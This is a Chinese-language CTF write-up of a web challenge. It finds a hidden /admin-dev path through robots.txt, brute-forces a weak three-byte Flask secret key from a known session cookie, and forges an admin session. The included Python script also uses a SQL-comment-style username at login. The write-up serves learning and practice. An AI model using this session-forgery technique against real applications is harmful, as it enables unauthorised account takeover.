# [CH] THE EYE 2 ###### tags: `Writeup` `Web` `Chinese` > [name=Curious] ## 思路和解法 稍微找一下就可以發現題目有一個 `/robots.txt` 的路徑,進去之後可以發現有兩個看起來很可疑的路徑被 Disallow ![](https://hackmd.io/_uploads/rJOlNiFIh.png) 如果直接去訪問 `/admin` 的話會發現跳回主頁,但是訪問 `/admin-dev` 可以發現一些跟 `/admin` 有關的 flask 程式碼。 ![](https://hackmd.io/_uploads/ryBHEiFL3.png) 研究一下 `session` 這個 cookie 是怎麼產生的,過程大概可以寫成下面這樣 ```python= from itsdangerous import base64_encode session_data = base64_encode(b'{"username":"curious"}') session_time = base64_encode(b'<time stamp in bytes>') pre_session = session_data + b'.' + session_time # `secret_key` here is `app.secret_key` key = hmac.new(secret_key, msg=b'cookie-session', digestmod=hashlib.sha1).digest() session_hmac = base64_encode(hmac.new(key, msg=pre_session, digestmod=hashlib.sha1).digest()) session = pre_session + b'.' + session_hmac ``` 因為我們已知 curious 這個使用者的 `session` cookie,所以我們可以嘗試不同的 `app.secret_key` 去計算 curious 的 `session_hmac`,如果跟原本 `session` 的 `session_hmac` 相同的話就代表我們找到 `app.secret_key` 了。 ```python= import requests as req from itertools import product from itsdangerous import base64_decode, base64_encode from tqdm import tqdm import hashlib, hmac def gen_session_hmac(pre_session: bytes, secret_key: bytes): key = hmac.new(secret_key, msg=b'cookie-session', digestmod=hashlib.sha1).digest() return hmac.new(key, msg=pre_session, digestmod=hashlib.sha1).digest() session = req.post('http://lotuxctf.com:20002/login', data={'username': "curious' -- ", 'password': '123'}, allow_redirects=False).headers['Set-Cookie'].split(';')[0].split('=')[1].encode().split(b'.') pre_session = session[0] + b'.' + session[1] right_hmac = base64_decode(session[2]) for new_key in tqdm(product(range(256), repeat=3)): new_key = bytes(new_key) if gen_session_hmac(pre_session, new_key) == right_hmac: secret_key = new_key break new_pre_session = base64_encode('{"username":"admin"}') + b'.' + session[1] session = new_pre_session + b'.' + base64_encode(gen_session_hmac(new_pre_session, secret_key)) print(session) ``` 接者就用找到的 `app.secret_key` 去算出一個 `session_data` 是 `base64_encode(b'{"username":"admin"}')` 的 `session` cookie,然後把這個 `session` cookie 替換掉原本瀏覽器裡面的 `session` cookie,然後去請求 `/admin` 後 ![](https://hackmd.io/_uploads/B1JYFoYLh.png) 點擊 `Get Flag!` 就可以拿到 flag 了 {%hackmd M1bgOPoiQbmM0JRHWaYA1g %}